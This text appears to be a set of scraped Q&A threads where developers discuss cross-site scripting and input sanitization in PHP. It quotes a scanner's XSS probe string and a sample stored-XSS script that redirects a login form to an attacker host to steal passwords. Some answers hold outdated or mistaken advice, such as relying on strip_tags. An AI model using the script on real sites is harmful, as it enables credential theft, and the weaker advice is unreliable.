Is the XSS attack made by user input?
I have recived attacks like this:
'"--></style></script><script>alert(0x002357)</script>
when scanning a php page without any html content with acunetix or netsparker.
Thanks in advance
Remember that even if you had just a static collection of HTML files without any server-side or or client-side scripting whatsoever, you may still store you logs in an SQL database or watch them as HTML using some log analyzer which may be vulnerable to this kind of URIs. I have seen URIs in logs that were using escape sequences to run malicious command in command line terminals – google for escape sequence injection and you may be surprised how popular they are. Attacking web-based log analyzing tools is even more common – google for log injection. I am not saying that this particular attack was targeted at your logs but I'm just saying that not displaying any user input on your web pages doesn't mean that you are safe from malicious payloads in your URIs.
I'm not 100% sure I understand your question. If I understood you correctly, you used a security scanner to check your web application for XSS vulnerabilities and it did show a problem about which you aren't sure if it really is a problem.
XSS is pretty simple: whenever there is a way to force an application to display unfiltered code a user provided, there is a vulnerability.
The attack code you show above seems to target a style tag that add certain user provided data (eg. a template variable or something similar). You should check if there's such a thing in your app and make sure it's properly filtered.
Blackbox scanners will try this attack even when your html doesn't expect any parameter because there is no easy way for them to know what's going on in your source code), if you don't echo anything or use stuff like PHP_SELF you are fine.
Also take a look at DOM Based XSS to understand how XSS might happen without any server-side flaw.
If the scanner reports a vulnerability take a look at the description and source code, generally it will hilight the vulnerable part of the source code so you can see.
Secondly you can manually test and if executes JS then you can investigate whether it's about your framework, or a vulnerability in the javascript code or in URL Rewrite (maybe you echo your current path in the page) or something like that.
Where did you find this XSS? As far as I am aware if a page does not take any user-input (a process/display it) it cannot be vulnerable to XSS.
Edit:
I think I misunderstood your question - did you mean can XSS occur by entering Javascript in the address bar in the browser? Or by appending Javascript to the URI? If the latter - then the page is susceptible to XSS and you should use a whitelist for any variables passed to your URI. If the former, then no, any client-side changes in the address bar will only be visible to that single user.
Related
is there any HTTP-header to disable Javascript for a specific page?
My website delivers user-generated HTML-content (that is why I cannot just use htmlenitities) and I would like to prevent scripting (JavaScript injections).
I already use HttpOnly-cookies being set for authentication on the main domain only, while user content is only displayed on subdomains where the cookie cannot be read.
The problem is that there are still too many possibilities to execute JavaScript - for example using event attributes like onclick and Internet Explorer has even a property in CSS to allow JavaScript executions (expression) which I had never heard of before. Another interesting idea I have read of, was about throwing an exception in order to block the code following.
One more idea would be defining a list containing all allowed tags and additionally an array with each allowed attribute name but this is very hard work and I guess this would not cover all possible injections.
I guess I am not the only person having this problem, so does anybody know a possiblility covering all possible harmful code - at least in modern browsers?
A simple imaginary header similar to X-Scripting: disabled would make life so much easier!
Yes, there is an experimental HTTP header called the Content Security Policy that allows you to control where JavaScript comes from, which can make XSS impossible. However it is currently only supported by Chrome and Firefox.
It is a good idea to enable HttpOnly-cookies, however this will prevent exactly ZERO attacks. You can still exploit XSS by reading CSRF tokens, and carrying out requests with an XHR.
There are many ways of obtaining XSS, and a Vulnerability Scanner like ShieldSeal (down) will find (nearly) all of them. Skipfish is an open source vulnerability scanner that is very primitive, but its free. This is how most web applications deal with wide spread vulnerabilities. (I work for ShieldSeal and I help build their vulnerability scanner and I love my job.)
When an issue is found you should use htmlspecialchars($var) or htmlspecialchars($var, ENT_QUOTES) to sanitize input. ENT_QUOTES can prevent an attacker from introducing an onclick or other JavaScript event.
I've read up on SQL Injection, XSS and other security issues and am trying to figure out what to use to safeguard the company's site.
We are about to deploy a simple 'User feedback' form with a textarea so users can tell us how to improve the site to enhance their user experience.
When the user pushes 'submit' on the form, we read the textarea comments from the user, and then programmatically create a filename in that user's subfolder and save their comments to a file. Then we add the filename and path to that user's database record.
The team is not worried about security issues here but I am. Their thinking is "we create the filename, it is 0% based on any user input, and since we write this 'UserX comments' filename and path to the database with no direct user influence -- there is no risk."
My concern is NOT the database activity -- because they're right, the user has no role in WHAT we write to their database record since we're just creating our own filename and storing it in their db record.
My concern is the text file!
So I'm petitioning our small team to rewrite the code to use security to read then write the user's comments in the textarea to the text file.
My concern is -- since we plan to actually READ our user's feedback and open these text files to read them later on -- there might be bad stuff in the textarea that (unless we clean it) could hurt us somehow.
I'm insisting we use strip_tags() but I need to sound informed about the manner in which we sanitize the textarea input -- I'm thinking strip_tags() is the way to go here but I'm 100% new to sanitizing user input. I looked at htmlspecialchars() but that just converts certain characters like '&' to &
and so forth.
Are there other ways to santize/make safe any text the user types into a textarea before we write it out to a file on our web server?
Looks like strip_tags is a good way to go. I'd also suggest writing the file outside of the webroot so that it can't be accessed by a browser.
See also: This Other Thread
If you're not worried about SQL injection, and it seems you're not (either because you know the SQL is sanitized or because you're saving to a text file), then the other problem is the possible XSS attack.
It's easy to ignore those, they don't affect you directly. An XSS attack is an attack that allows one to inject client-side scripts into a webpage. Your database works fine, your server files are not modified, your session files aren't modified either.
This vulnerability is completely client-side. Like I said, it doesn't affect your server. But then someone (i.e.: me) goes on your website, and all of a sudden is redirected to a Warez site while viewing a totally SFW, trusted website. You lose trust from your users. The search engines that crawl your site also mark you as possibly harmful. You lose traffic. You lose revenues. Then again, your server is perfectly fine.
You definitely need to sanitize the user input that is outputted back to the user because of this. Yes, strip_tags is a solution and so is htmlspecialchars or htmlentities.
strip_tags is a little less restrictive however, because it allows you to define some tags you'd like your users to be able to insert in their posts, like bold, links, or italic.
In conclusion, you are absolutely right on insisting on this practice. It doesn't affect you (i.e.: your company's server) directly, but it will affect you at some point if you want a trusted presence on the world wide web.
I know this may be a longer answer than others who should suggest to just strip_tags. They are absolutely right, which is why I upvoted them. Just trying to give you some "corporate" arguments there. :)
It depends on how you are creating a file, and what are you doing with the text after reading it.
If you are using PHP's native functions to write the file, then you should have no problem with remote code execution.
If all you do after reading it is display to a user via HTML, htmlentities(), which effectively makes HTML tags inside the text powerless while still displaying correctly to the user, should be enough.
If you are using it as a part of some query to a database, you should use that database cleaning routine before concatenating it to your SQL. (ie. mysql_real_escape_string() for MySQL, or pg_escape_string() for PostgreSQL).
You may also want to take a look at some info on the OWASP page.
Edit: I forgot to mention, you should also use ENT_QUOTES with htmlentities to prevent single quote injections.
simply use mysql_real_escape_string() to get rid of quotes. htmlentities() if you are worried about js files. That should be about as good as it gets there.
Sanitizing input only protects you from sql injection by removing certain characters. These characters, however, cannot act in a malicious manner from within a text file. I happen to know quite a bit about malware, and trust me, you are not at risk here.
Edit:
If I somehow missed the point of this post through my rambling, do let me know so I can update my answer.
I have a solution that follows mainstream of your development team ideology:
Do not use any user authorization on your site, including admins. Thus, no XSS will harm you either.
I'm a PHP developer and I'm looking to improve the security of my sites.
From what I understand the following are two major types of vulnerabilities which affect web applications:
SQL Injection
XSS
SQL Injection can be fixed with prepared statements - easy.
But I still don't really get XSS - is the following an example of XSS?...
Page full of user-made content has a login form at the top (site-wide).
The user's input to the page is not HTML-escaped.
A user posts the following content (e.g. a comment) to the page...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
An innocent user comes to the page, the script executes.
The innocent user realises they're not logged in, and enter their details into the form.
The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.
So I really have three questions here:
Would this work?
Is this XSS?
Are there any precautions developers should take against XSS other than escaping HTML?
There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.
The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.
In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.
Is this XSS?
Yes, this is an injection flaw in general and would be referred to as a XSS exploit in this particular case as it’s JavaScript that was injected.
But this injection flaw, where one user’s input gets reflected to other users without any changes, can also yield to other attacks like defacement.
Would this work?
Yes, it’s very likely that this would work as it’s the origin server that serves this code snipped just like any other code in the web page. So it’s like the author of the web site is the originator of this code and will be treated likewise.
Are there any precautions developers should take against XSS other than escaping HTML?
There are actually three different types of XSS: DOM based XSS, Reflected XSS, and Stored/persistent XSS). Your example is a stored/persistend XSS exploit as the server deploys the exploit with every request.
The general rule is not to trust any user input. That said either only valid user input should be allowed or the user input is filtered (removing invalid values) or properly encoded (convert invalid values) before outputting it. See OWASP’s XSS Cheat Sheet for further information.
it's xss and i believe it's javascript injection too
so i think this link will help
Yes that is an example of a basic persistent XSS attack. Not only could a user steal credentials in this situation but also attempt to infect visitors, or spam links through your site.
OWASP XSS Prevention Guide is a good start.
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
I have a website, on one page it reads a cookie from the users computer and uses that as a variable in the php code, for example in echo statments.
I am not currently cleaning the cooking any way.
2 questions:
can someone hack their cookie to put stuff into my php code?
if yes, how can i prevent this? HOW can I clean it?
Thanks!
Yes, it's very very easy to edit the cookies on the client.You should handle the values of the cookies as any other user generated input: don't trust it and validate it.
Yes, one could very easily exploit this depending on how it's used in the code. One could for instance, forge the entire request and provide any desired value for the cookie.
The question of how to prevent this depends on what values you are expecting the cookie to contain. All you need to do is make sure that the value of the cookie fits within your specification. Without knowing what this specification is or how the value is being used, there is not much more to say.
If you are only echoing the cookie, then the vulnerability that the user can explode is called "XSS" that stands for Cross Site Scripting. Basically he would insert <script> tags in the website to execute javascript.
You can prevent this by using the function strip_tags in php to clean tags from the cookie.
If you use the cookie in some other way, there could be new security issues, please specify if that is the case.
Strip_tags does not protect you from being hacked nor does it strip XSS. It only strips the HTML and you don't need HTML to XSS a site.
The problem is not in the input per se, it's in how you output it. If you echo it directly into an HTML page then you need to HTML-encode it; that's true of all strings you include in an HTML page, not just cookies. If you are as a habit outputting unescaped strings into HTML then you probably have much easier to exploit XSS bugs than this(*).
The way to handle variable text properly for output into HTML is to wrap every variable in htmlspecialchars() at the point you echo it into HTML (not as an input handling step). Do not use strip_tags()—it is not designed as a security measure and it fails in a variety of circumstances. If you need to accept limited user-input markup use an HTML purifier library.
(*: how exploitable an HTML-injection-from-cookie is depends largely on how that cookie gets set. If there is any way an attacker can persuade your application to set another user's cookie to a specific value, it'll be easily exploitable; otherwise, in order to exploit the HTML injection they would have to find a cookie-fixation bug. That could be a header-injection bug in your app, or it could be any vulnerable application in a ‘neighbour domain’—an application at a.example.com can set a cookie that will be read by an application at b.example.com.)
As people have posted a cookie is super easy to manipulate on the client side. It's basicly just a text file. If you only echo and don't depend on the data in the cookie for db calls, function calls or file includes you pribably don't need to care becasue the user would only affect what's displayd on his local machine. On public computers this could ofcourse be a problem though.
If you want more controll handle the data using serverside sessions. Or if you really need the data in the cookie, store a hash of the cookue values serverside so you can determine if it has bern tampered with
Which type of input is least vulnerable to Cross-Site Scripting (XSS) and SQL Injection attacks.
PHP, HTML, BBCode, etc. I need to know for a forum I'm helping a friend set up.
(I just posted this in a comment, but it seems a few people are under the impression that select lists, radio buttons, etc don't need to be sanitized.)
Don't count on radio buttons being secure. You should still sanitize the data on the server. People could create an html page on their local machine, and make a text box with the same name as your radio button, and have that data get posted back.
A more advanced user could use a proxy like WebScarab, and just tweak the parameters as they are posted back to the server.
A good rule of thumb is to always use parameterized SQL statements, and always escape user-generated data before putting it into the HTML.
We need to know more about your situation. Vulnerable how? Some things you should always do:
Escape strings before storing them in a database to guard against SQL injections
HTML encode strings when printing them back to the user from an unknown source, to prevent malicious html/javascript
I would never execute php provided by a user. BBCode/UBBCode are fine, because they are converted to semantically correct html, though you may want to look into XSS vulnerabilities related to malformed image tags. If you allow HTML input, you can whitelist certain elements, but this will be a complicated approach that is prone to errors. So, given all of the preceding, I would say that using a good off-the-shelf BBCode library would be your best bet.
None of them are. All data that is expected at the server can be manipulated by those with the knowledge and motivation. The browser and form that you expect people to be using is only one of several valid ways to submit data to your server/script.
Please familiarize yourself with the topic of XSS and related issues
http://shiflett.org/articles/input-filtering
http://shiflett.org/blog/2007/mar/allowing-html-and-preventing-xss
Any kind of boolean.
You can even filter invalid input quite easily.
;-)
There's lots of BB code parsers that sanitize input for HTML and so on. If there's not one available as a package, then you could look at one of the open source forum software packages for guidance.
BB code makes sense as it's the "standard" for forums.
The input that is the least vulnerable to attack is the "non-input".
Are you asking the right question?
For Odin's sake, please don't sanitize inputs. Don't be afraid of users entering whatever they want into your forms.
User input is not inherently unsafe. The accepted answer leads to those kinds of web interfaces like my bank's, where Mr. O'Reilly cannot open an account, because he has an illegal character in his name. What is unsafe is always how you use the user input.
The correct way to avoid SQL injections is to use prepared statements. If your database abstraction layer doesn't let you use those, use the correct escaping functions rigorously (myslq_escape et al).
The correct way to prevent XSS attacks is never something like striptags(). Escape everything - in PHP, something like htmlentities() is what you're looking for, but it depends on whether you are outputing the string as part of HTML text, an HTML attribute, or inside of Javascript, etc. Use the right tool for the right context. And NEVER just print the user's input directly to the page.
Finally, have a look at the Top 10 vulnerabilities of web applications, and do the right thing to prevent them. http://www.applicure.com/blog/owasp-top-10-2010